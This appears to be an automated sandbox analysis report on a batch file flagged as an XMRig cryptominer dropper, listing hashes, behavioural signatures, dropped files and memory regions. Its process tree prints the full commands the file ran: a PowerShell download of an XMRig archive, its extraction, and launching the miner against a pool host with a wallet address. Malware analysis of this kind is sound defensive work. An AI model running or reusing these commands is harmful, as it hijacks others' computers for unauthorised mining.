Analysis

  • max time kernel
    1814s
  • max time network
    1827s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 07:23

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4780
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3604

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    998c6f00d33fad20cad9a49d27675299

    SHA1

    34ee4bc3db36016002ddf5359cd9fd304fe74ce5

    SHA256

    f97c75e4f4ec63e9e95a607bad59ffd4c001be57ab111d69ab83da1752f2cf6a

    SHA512

    5e6ecadaad3fe1a7823e51dbedd3260e94f69efc544f155c897ff8b03431d198252e4ce7dee6b7b17617f856f4bd668e9a52c0115b6c4839ca7ecde1775b1d93

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_of1spplj.rse.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    145KB

    MD5

    a189ef86b5e43e228d65f788b68835a4

    SHA1

    8c76ccb3601ef6a1890abd155e53392d3e3e3f5c

    SHA256

    8e8056c2056c579ae2f1aa4a55ed54d2cd3d507f5e10f0b579af231595e78e94

    SHA512

    4a17ec50b9758fcea645eb85f5a286af246183426b717e2778c845b9ad6d886d76862c4010df8938035792d734f17324d53d666b2cbe6df2c57ec8c5bd4e29e1

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    53KB

    MD5

    24172749e5a62871c1cba8d24ff30190

    SHA1

    58a303929593ddd12fc49a738df7edb4050493ea

    SHA256

    b764bf96012e5d46e72af7c25b53f7b2d6cb19621397fdaf003a0528fb0d1f26

    SHA512

    fb737fbe6d37c23833af4736e30f371dcea7b7a603a591c7943a61ceacf8098f15e8034b1d264289aa53b716babe4f4700beef50dbfd8129bdf556b90eb40939

  • memory/432-5-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/432-4-0x0000026DB4A30000-0x0000026DB4A52000-memory.dmp

    Filesize

    136KB

  • memory/432-6-0x0000026DB4AF0000-0x0000026DB4B00000-memory.dmp

    Filesize

    64KB

  • memory/432-7-0x0000026DB4AF0000-0x0000026DB4B00000-memory.dmp

    Filesize

    64KB

  • memory/432-10-0x0000026DB4D00000-0x0000026DB4D76000-memory.dmp

    Filesize

    472KB

  • memory/432-25-0x0000026DB4AF0000-0x0000026DB4B00000-memory.dmp

    Filesize

    64KB

  • memory/432-26-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/432-27-0x0000026DB4AF0000-0x0000026DB4B00000-memory.dmp

    Filesize

    64KB

  • memory/432-28-0x0000026DB4AF0000-0x0000026DB4B00000-memory.dmp

    Filesize

    64KB

  • memory/432-29-0x0000026DB4AF0000-0x0000026DB4B00000-memory.dmp

    Filesize

    64KB

  • memory/432-34-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/3604-144-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-151-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-188-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-187-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-186-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-185-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-120-0x000001BF00280000-0x000001BF002A0000-memory.dmp

    Filesize

    128KB

  • memory/3604-121-0x000001BF002D0000-0x000001BF00310000-memory.dmp

    Filesize

    256KB

  • memory/3604-122-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-123-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-125-0x000001BF00330000-0x000001BF00350000-memory.dmp

    Filesize

    128KB

  • memory/3604-124-0x000001BF00310000-0x000001BF00330000-memory.dmp

    Filesize

    128KB

  • memory/3604-126-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-127-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-129-0x000001BF00310000-0x000001BF00330000-memory.dmp

    Filesize

    128KB

  • memory/3604-130-0x000001BF00330000-0x000001BF00350000-memory.dmp

    Filesize

    128KB

  • memory/3604-128-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-131-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-132-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-133-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-134-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-135-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-136-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-137-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-138-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-139-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-140-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-141-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-142-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-143-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-184-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-145-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-146-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-147-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-148-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-149-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-150-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-183-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-152-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-153-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-154-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-155-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-156-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-157-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-158-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-159-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-160-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-161-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-162-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-163-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-164-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-165-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-166-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-167-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-168-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-169-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-170-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-171-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-172-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-173-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-174-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-175-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-176-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-177-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-178-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-179-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-180-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-181-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/3604-182-0x00007FF7D7C20000-0x00007FF7D8723000-memory.dmp

    Filesize

    11.0MB

  • memory/4780-42-0x000001E24A580000-0x000001E24A590000-memory.dmp

    Filesize

    64KB

  • memory/4780-41-0x000001E24A580000-0x000001E24A590000-memory.dmp

    Filesize

    64KB

  • memory/4780-93-0x000001E24A850000-0x000001E24A85A000-memory.dmp

    Filesize

    40KB

  • memory/4780-80-0x000001E24A8F0000-0x000001E24A902000-memory.dmp

    Filesize

    72KB

  • memory/4780-66-0x000001E24A580000-0x000001E24A590000-memory.dmp

    Filesize

    64KB

  • memory/4780-40-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/4780-117-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB